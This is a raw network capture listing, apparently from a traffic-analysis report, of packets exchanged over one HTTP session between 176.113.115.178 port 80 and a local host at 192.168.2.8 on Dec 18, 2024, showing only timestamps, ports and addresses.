Dec 18, 2024 14:07:41.468111992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.468337059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.468377113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.469038963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.469052076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.469091892 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.469759941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.469970942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.470010042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.470634937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.470690966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.470735073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.471467972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.471594095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.471636057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.472423077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.518918037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.537214994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.537278891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.537333965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.537626028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.538013935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.538067102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.538445950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.538698912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.538777113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.538810015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.539572001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.539619923 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.539661884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.540345907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.540390968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.540549040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.541490078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.541541100 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.541621923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.542401075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.542414904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.542450905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.542829990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.542879105 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.542943954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.543701887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.543742895 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.543771029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.544497967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.544549942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.544617891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.545383930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.545453072 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.545489073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.546139002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.546152115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.546205997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.546997070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.547009945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.547055006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.547863007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.547879934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.547971010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.548671961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.548717976 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.548753023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.549473047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.549489021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.549519062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.550280094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.550292969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.550324917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.551078081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.551090956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.551126003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.551985025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.551999092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.552042961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.552772045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.552788973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.552834034 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.553637028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.553651094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.553694010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.554713964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.554779053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.554778099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.555322886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.555352926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.555377007 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.556071997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.556124926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.556201935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.556900978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.556915045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.556952953 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.557749033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.557857990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.557888985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.558527946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.558541059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.558585882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.559484005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.559498072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.559544086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.560192108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.560236931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.560275078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.561007977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.561057091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.561115980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.561876059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.561893940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.561924934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.562624931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.562676907 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.562868118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.563492060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.563544035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.563601017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.564359903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.564410925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.564526081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.570846081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.570871115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.570914984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.570924997 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.570930958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.570955038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.570976019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.570991993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.571014881 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.571027994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.571043015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.571074963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.571094036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.571110964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.571155071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.571178913 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.571213007 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.653920889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.654020071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.654097080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.654217958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.654217005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.654300928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.654922009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.655019045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.655073881 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.655838966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.656047106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.656096935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.656646967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.656850100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.656898022 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.657382965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.657710075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.657761097 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.658260107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.658361912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.658411980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.659130096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.659149885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.659199953 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.659915924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.660305023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.660352945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.660728931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.660835028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.660880089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.661730051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.661742926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.661791086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.662403107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.662420034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.662465096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.663227081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.663333893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.663378000 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.664079905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.664092064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.664134979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.729186058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.729203939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.729384899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.729477882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.729780912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.729794979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.729835987 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.730568886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.730621099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.730638027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.731355906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.731400967 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.731425047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.732230902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.732253075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.732275963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.733010054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.733023882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.733064890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.733834982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.733875990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.733877897 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.734622955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.734667063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.734729052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.735582113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.735603094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.735630035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.736339092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.736381054 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.736398935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.737118959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.737160921 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.737293005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.737982035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.738022089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.738040924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.738847971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.738861084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.738893032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.739568949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.739624977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.739676952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.740431070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.740473986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.740556955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.741271973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.741313934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.741496086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.742149115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.742162943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.742192984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.743020058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.743033886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.743067980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.743690968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.743732929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.743834972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.744601011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.744645119 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.744659901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.745352983 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.745397091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.745476961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.746196032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.746259928 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.746284008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.746985912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.747034073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.747119904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.747947931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.747968912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.747991085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.748696089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.748739004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.748778105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.749596119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.749609947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.749640942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.750829935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.750873089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.751146078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.751601934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.751672029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.751719952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.752403975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.752449036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.752605915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.753364086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.753403902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.753484964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.754152060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.754199028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.754301071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.754911900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.754957914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.755131960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.755848885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.755892038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.755956888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.756614923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.756656885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.756659985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.757632017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.757675886 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.757795095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.758193970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.758235931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.758240938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.758793116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.758832932 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.758894920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.759397030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.759438038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.759473085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.760174990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.760220051 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.760251999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.761039019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.761084080 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.761106968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.815877914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.846223116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.846254110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.846316099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.846499920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.846657991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.846697092 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.847573042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.847587109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.847624063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.848550081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.848640919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.848690033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.849004984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.849042892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.849083900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.849868059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.849929094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.849977016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.850593090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.850811005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.850857019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.851557970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.851600885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.851640940 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.852288961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.852314949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.852355957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.853071928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.853441954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.853488922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.853938103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.853951931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.853986979 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.854737043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.854892969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.854943037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.855576992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.855644941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.855690002 CET	49707	80	192.168.2.8	176.113.115.178
